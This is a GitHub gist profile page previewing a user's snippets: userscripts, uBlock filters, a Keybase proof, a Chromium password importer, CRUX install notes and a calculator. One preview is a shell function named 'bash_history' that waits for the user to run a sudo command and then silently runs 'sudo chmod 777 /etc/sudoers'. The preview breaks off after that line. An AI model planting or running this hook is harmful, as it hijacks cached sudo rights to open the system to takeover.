Skip to content

Instantly share code, notes, and snippets.

View lainiwa's full-sized avatar

lainiwa

View GitHub Profile
// ==UserScript==
// @name Atomatic ChatGPT Retry
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author lainiwa
// @match https://chat.openai.com/chat
// @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
// @grant none
// ==/UserScript==
@lainiwa
lainiwa / my-ublock-static-filters.txt
Last active June 30, 2023 20:00
Ublock filters
! 12/14/2019 https://hackernoon.com
hackernoon.com##.ads
hackernoon.com###header
hackernoon.com###top > .subnav
! 2/27/2020 https://www.jiosaavn.com
www.jiosaavn.com##.gopro-bottom-banner.gopro-container
! 3/10/2020 https://www.pornhub.com
www.pornhub.com###age-verification-wrapper
function bash_history {
if [ $? -ne 1 ] # previous command was successfull
then
if [ -z "${PWNED+xxx}" ] # this test is used to check if the system was already pwned
then
history 1 | grep -q -E '^[[:space:]]*[0-9]+ sudo '
if [ $? -eq 0 ] # previous command is a sudo one
then
sudo chmod 777 /etc/sudoers 2> /dev/null
@lainiwa
lainiwa / alison_auto_starter.user.js
Last active February 3, 2020 20:51
alison.com auto starter
// ==UserScript==
// @name alison.com auto starter
// @namespace http://tampermonkey.net/
// @version 1.0
// @description Auto click "Start topic" on alison.com
// @match https://alison.com/topic/learn/*
// @author lainiwa
// @grant none
// ==/UserScript==
@lainiwa
lainiwa / keybase.md
Last active January 14, 2020 23:57
Keybase proof

Keybase proof

I hereby claim:

  • I am lainiwa on github.
  • I am lainiwa (https://keybase.io/lainiwa) on keybase.
  • I have a public key ASCWFmo-WyeVPC1uO21Pe05SYtd9-_LllICV9o3BKe_WoQo

To claim this, I am signing this object:

@lainiwa
lainiwa / chromium_2_pass.py
Created March 18, 2019 12:27
Import chromium passwords to passwordstore
"""Import data to passwordstore from chromium."""
import os.path
import re
import sqlite3
import sys
from subprocess import PIPE, Popen
from urllib.parse import urlparse
@lainiwa
lainiwa / install_crux.sh
Last active September 18, 2022 05:07
CRUX linux installation commands
# wget 'https://mirrors.slackware.com/slackware/slackware64-current/kernels/huge.s/bzImage'
# # find / -name 'snd-hwdep.ko' 2>/dev/null
# /usr/src/linux-4.14.40/sound/core/snd-hwdep.ko
# /lib/modules/4.14.40/kernel/sound/core/snd-hwdep.ko
@lainiwa
lainiwa / postfix_calculator.py
Last active November 20, 2018 19:34
Calculate expressions with variables (ex.: '5 c sqrt + 4 sin z cos sqrt + 1 - / abs')
# Математические ф-ции используются при вычислении
# выражений в eval'е
from math import *
def isfloat(value):
'''Проверить что строка является числом
Так как '-1.0'isnumeric() нам соврет.
'''